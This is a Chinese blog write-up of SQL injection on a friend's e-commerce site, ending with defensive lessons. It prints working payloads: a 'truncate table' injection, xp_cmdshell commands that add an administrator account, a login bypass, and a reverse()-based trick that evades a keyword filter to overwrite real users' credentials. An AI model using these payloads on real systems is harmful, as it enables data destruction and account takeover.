電子商務網站SQL注入項目實戰一例

故事A段：發現整站SQL對外輸出：

 

有個朋友的網站，因爲是外包項目，深圳某公司開發的，某天我幫他檢測了一下網站相關狀況。

我查看了頁面源代碼，發現了個驚人的事情，居然整站打印SQL到Html裏，着實嚇我一跳：

PS：2年前秋色園系列文章有分享一文是整站SQL打印用於分析網站性能，不過也只是本地優化調試，而服務器上也採用某特殊條件纔打印。

因而把這赤祼祼的對外公開的SQL問題反映了過去，以後算是取消了。 

故事B段：錯誤異常打印了SQL，誘人： 

 

過了些許天，我又抽空看了看：

原始路徑爲：http://www.xxx.com/s-l----333.html，我隨意加了個引號：

 

直接打印SQL？這不是引誘人犯罪麼？好吧，當時被誘了一下，花了小半天折騰了一下。

 

故事C段：發現有簡單的SQL關鍵字過濾： 

 

隨意加了個「and「條件，發現有過濾一些關鍵字： 

  

而後屢次檢測，發現過濾了：and select,update,delete等關鍵字。

 

故事D段：發現能夠執行自定義語句，但SQL帳號彷佛沒有SA權限或者是關閉了xp_cmdshell服務： 

因而我組了一條truncate table xxx，固然，這是個不存在的表名： 

http: // www.xxxx.com/s-l-82900-6'%20%20or%201=1;truncate%20table%20abc;-- 

 

試了下，執行完成，沒報啥提示，太恐怖了。

既然能夠執行自定義語句，那執行下提權語句看看：

http: // www.xxxx.com/s-l-82900-6'%20%20or%201=1;exec master..xp_cmdshell 'net user test 1234
http: // www.xxxx.com/s-l-82900-6'%20%20or%201=1;exec master..xp_cmdshell 'net localgroup administrators test /add

 

發現沒啥提示，可是帳號不起效果，因此估計sql的帳號沒有sa權限能夠調用xp_cmdshell，另外這裏，因爲--符號被用來分隔字符串，因此不起做用。

故事E段：發現登錄有明顯的SQL漏洞： 

 

過了點時間，我就不折騰了，我打算註冊個帳號看看其它狀況。 

到了登錄頁，發現註冊還要綁定手機號，我就不註冊了，因而在登錄裏隨手弄了一個常見的a' or 1=1--

居然報密碼錯誤，嚇我一跳，說明用戶名注入了，只是密碼那關錯誤。 

 

故事F段：發現驗證碼居然在Cookie裏： 

 

經過攔截請求信息，發現更奇葩的事：

 

驗證碼居然直接放在Cookie裏，這。。。

故事G段：破解用戶密碼： 

 

既然用戶名能夠注入，爲啥密碼還報錯誤？

經過錯誤的語法，看了一下對方的SQL語句，猜出了基本的代碼邏輯：

 

根據用戶名查出了帳號信息，取出的數據的密碼再和密碼對比。

 

構造注入語句，發現密碼爲md5存儲： 

 

既然能夠注入，這裏就能夠執行語句了，因而，使用普通的語句弄個帳號登錄試試。
一開始我構造了條件：
username=a '   or password= ' 123456 ' --&password=123456&verifycode=5020 
考慮到用弱密碼123456的不少，我就試了下，發現沒搞頭，原本還想寫個爆破弱口令的帳號。
後來想一想，這密碼，通常都是加密的，因此我要知道對方的加密方式。
經過屢次構造相似下面的語句：
username=a '   or len(password)=16--&password=123456&verifycode=5020
最終肯定了爲md5加密存儲。
因而把123456 md5一下變成：
username=a '   or password= '49ba59abbe56e057 ' --&password=123456&verifycode=5020

 

沒想到，來了個如下坑爹的提示：

 

試了下不少個帳號，都是這種狀況，這提示太坑爹，忽悠了我。

PS：實際上是帳號經過了，直接拿返回的Cookie就能夠進用戶的，不過我被忽悠了，覺得不可用。

返回的Cookie，實際也是加密的，因此，這種方式，看不到手機號，因此無法直接簡單的登錄。

再構造SQL注入語句，建立屬於本身的帳號和密碼： 

因而，我想經過構造更新語句，把某個帳號的手機號和密碼都更新一下，而後再我登錄進去。
因此，我就必須執行相似於：update xxx  set username= ' 13811114444 ',password= ' 888888 '  where uid= 10003
因爲過濾掉update，因此直接來是不行的，原本打還算編碼成16進制折騰，發現轉16進制麻煩，也懶的開vs折騰。
因而我想到了一個簡單的方式，把語句反過來寫，再用reverse函數把語句轉過來執行。

 

最終就成了如下函數：

username= 13430330585 ' ;declare @A varchar(200);set @A=reverse( ''' 58803303431 ''=emanresu erehw  ''9d4d9c1ac9814f08 ''=drowssaP tes xxx tadpu ' );exec(@A);--&password=88888888&verifycode=2222

 

執行後，發現都是返回「當前帳號已凍結，請聯繫客戶」這句大忽悠的話。。。

害的我試了N個帳號，最後拿其中一個登錄了，才發現是正常的。

 

後來告訴了對方有SQL注入漏洞，最後反饋說用SQL工具檢測正常，無語。

再後來就示例告訴了對方，修正了這個漏洞後，我就寫文分享了。 

 

 

總結：

1：驗證碼怎麼能夠放Cookie裏？

2：SQL語句怎麼能夠隨意打印給別人看？

3：SQL注入檢測怎麼能光靠工具？ 

4：防SQL注入怎麼能靠幾個簡單的關鍵字過濾？

 

補充截圖：